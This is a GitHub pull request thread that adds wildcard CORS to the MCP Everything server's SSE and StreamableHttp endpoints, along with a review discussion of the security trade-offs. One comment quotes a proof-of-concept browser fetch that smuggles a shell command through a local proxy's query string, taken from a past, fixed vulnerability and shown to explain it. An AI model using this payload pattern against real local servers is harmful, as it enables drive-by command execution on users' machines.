Skip to content

Conversation

@cliffhall
Copy link
Member

@cliffhall cliffhall commented Sep 16, 2025

Description

  • In src/everything/sse.ts
    • import cors
    • use cors with config allowing any origin + GET/POST
  • In src/everything/streamableHttp.ts
    • import cors
      • use cors with config allowing any origin + GET/POST/DELETE, and exposed protocol headers for client to read
  • In package.json and package-lock.json
    • add cors as a dependency

Server Details

  • Server: Everything
  • Changes to: CORS for SSE/StreamableHttp

Motivation and Context

For demonstrating direct browser connection capability to be introduced in Inspector. The PR for that functionality is on this PR.

How Has This Been Tested?

With the Inspector using the branch that adds a Direct connection type, which bypasses the Inspector proxy.

Direct SSE Connection From Inspector

Screenshot 2025-09-16 at 4 13 27 PM

Direct StreamableHttp Connection From Inspector

Screenshot 2025-09-16 at 4 11 00 PM

Proxied SSE Connection From Inspector

proxy-sse

Proxied StreamableHttp Connection From Inspector

proxy-shttp

Breaking Changes

Nope.

Types of changes

  • Bug fix (non-breaking change which fixes an issue)
  • New feature (non-breaking change which adds functionality)
  • Breaking change (fix or feature that would cause existing functionality to change)
  • Documentation update

Checklist

  • I have read the MCP Protocol Documentation
  • My changes follows MCP security best practices
  • I have updated the server's README accordingly
  • I have tested this with an LLM client
  • My code follows the repository's style guidelines
  • New and existing tests pass locally
  • [] I have added appropriate error handling
  • I have documented all environment variables and configuration options

Additional context

  - import cors
  - use cors with config allowing any origin + GET/POST
* In src/everything/streamableHttp.ts
  - import cors
    - use cors with config allowing any origin + GET/POST/DELETE, and exposed protocol headers for client to read
* In package.json and package-lock.json
  - add cors as a dependency
cliffhall and others added 2 commits September 16, 2025 18:31
  - add @types/cors as dev dependency
Added caution note for using '*' in CORS origin.
domdomegg
domdomegg previously approved these changes Sep 18, 2025
Copy link
Member

@domdomegg domdomegg left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Generally looks good. Based on my understanding of CORS, I think this should be fine for this server, although if someone has thought more about security implications may be worth getting them to double check.

Copy link
Contributor

@felixweinberger felixweinberger left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Can we make the CORS config less permissive? + @domdomegg's comment about the console.log


const app = express();
app.use(cors({
"origin": "*", // use "*" with caution in production
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Should we restrict this at least a little to localhost:6274?

The reason we need this is only to allow the inspector to work right? I think it's a little too easy for folks to copy paste this server as a starting point and end up with a too permissive CORS policy without ever seeing this comment.

Maybe a comment // enables inspector to connect instead? Would that work for your demo use case?

Copy link
Member Author

@cliffhall cliffhall Sep 18, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We could but is there an actual reason for this? In the auth-wg-devx meeting earlier we discussed this and no one could think of a reason why it shouldn't be fully open. If you curl this or use a desktop client, you don't have the cors blocking. There's no obvious XSS vector. And also there was discussion about hosting a version of the inspector. If that happened, then it wouldn't be from that URL. Further, if someone is running the inspector in a container and has chosen to expose 6274 on a different host port, you have a problem.

Finally, in the hosted version of this server that the core team forked to work on an auth example, they have it fully open:

https://github.com/modelcontextprotocol/example-remote-server/blob/main/src/index.ts#L101

Copy link
Member Author

@cliffhall cliffhall Sep 18, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I added // Enable CORS for all routes so Inspector can connect as a comment in both sse.ts and streamableHttp.ts and also // use "*" with caution in production

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'm not enough of a security expert to push back hard here, but I'm just reminded of the vulnerability we had originally addressed with modelcontextprotocol/inspector@50df0e1 hence asking the question here to be sure.

I believe if you visit evil-website.com while you have your local unauthed dev server running, it could theoretically make requests to it and execute tools with this approach (assuming it knows the port - it might try common ones like 8000 and 8080).

If you've discussed this in auth-wg and we're also giving this as an example remote server, those are convincing points to not block here for me.

Copy link
Member Author

@cliffhall cliffhall Sep 18, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@felixweinberger The vulnerability you mention was with the proxy and had two prongs: 0.0.0.0 DNS rebinding that allowed evil-website.com to momentarily change its DNS to point to 0.0.0.0 causing the proxy to think it was actually our inspector, AND being able to tell the proxy to run an arbitrary shell command as an stdio server with the query string.

<script>
fetch("http://0.0.0.0:6277/sse?transportType=stdio&command=touch&args=%2Ftmp%2Fexploited-from-the-browser", {
    "headers": {
        "accept": "*/*",
        "accept-language": "en-US,en;q=0.9", 
        "cache-control": "no-cache",
        "pragma": "no-cache"
    },
    "referrer": "http://127.0.0.1:6274/",
    "referrerPolicy": "strict-origin-when-cross-origin",
    "body": null,
    "method": "GET",
    "mode": "no-cors",
    "credentials": "omit"
})
</script>

Having cors('*') in this example server doesn't equate to that possibility. Something in the browser could connect and execute tools if it knew you had a server there (i.e., the inspector), or it could probe as you suggested. But you wouldn't leave an http mcp server up and running locally for anything but testing purposes. STDIO servers, you'd run locally, but those would not be accessible in this way but rather run within local processes, such as the proxy, which is now locked down on that front.

I do think that the comments about using cors('*') with caution in production should be enough for this example server.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fair enough!

  - remove remove unintentional console log
  - add comment about why opening cors for all routes
  - add comment about using * with caution in production for cors
  - indent on cors config
felixweinberger
felixweinberger approved these changes Sep 18, 2025
@domdomegg domdomegg merged commit f8c0500 into modelcontextprotocol:main Sep 19, 2025
24 checks passed
@cliffhall cliffhall deleted the open-cors-for-direct-connect branch September 19, 2025 16:18
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

4 participants